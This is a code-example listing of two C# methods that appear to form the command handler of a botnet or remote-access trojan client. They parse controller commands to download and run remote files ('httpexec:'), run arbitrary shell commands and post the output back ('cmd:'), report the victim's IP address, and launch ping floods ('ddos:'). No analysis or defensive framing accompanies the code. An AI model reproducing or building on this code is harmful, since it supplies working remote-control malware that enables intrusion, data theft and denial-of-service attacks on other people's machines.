コード例 #1
0
        private static bool doCommands(string text)
        {
            cmdMethods cDo    = new cmdMethods();//calls the cmdMehods class to do all the commands
            bool       nexted = false;

            if (text.Contains("|"))
            {
                string[] singleCommand = text.Split('|');
                foreach (string cmd in singleCommand)
                {
                    nexted = execCMD(cmd);
                }
            }
            else
            {
                nexted = execCMD(text);
            }
            return(nexted);
        } // sort commands by multi-commands or just single command
コード例 #2
0
        } // sort commands by multi-commands or just single command

        private static bool execCMD(string cmd)
        {
            cmdMethods  cDo    = new cmdMethods();
            HttpHandler httpDo = new HttpHandler();
            bool        nexted = false;

            //add commands here
            if (cmd.StartsWith("next:"))// no touching unless you know what you're doing
            {
                conID  = cmd.Replace("next:", "");
                nexted = true;
            }
            if (cmd.StartsWith("httpexec:")) //simple command example
            {
                cDo.downloadrun(cmd.Replace("httpexec:", ""));
            }

            if (cmd.StartsWith("getip"))
            {
                string ip = cDo.getIp();
                httpDo.addPost(reconID, ip, key);
            }
            if (cmd.StartsWith("ddos:"))
            {
                string DDoSIP = cmd.Replace("ddos:", "");
                System.Diagnostics.Process.Start("ping", DDoSIP);
            }
            if (cmd.StartsWith("ping"))
            {
                httpDo.addPost(reconID, "pong " + DateTime.Now, key);
            }
            if (cmd.StartsWith("cmd:"))
            {
                string output = cDo.command(cmd.Replace("cmd:", "/c "));
                httpDo.addPost(reconID, output, key);
            }

            return(nexted);
        }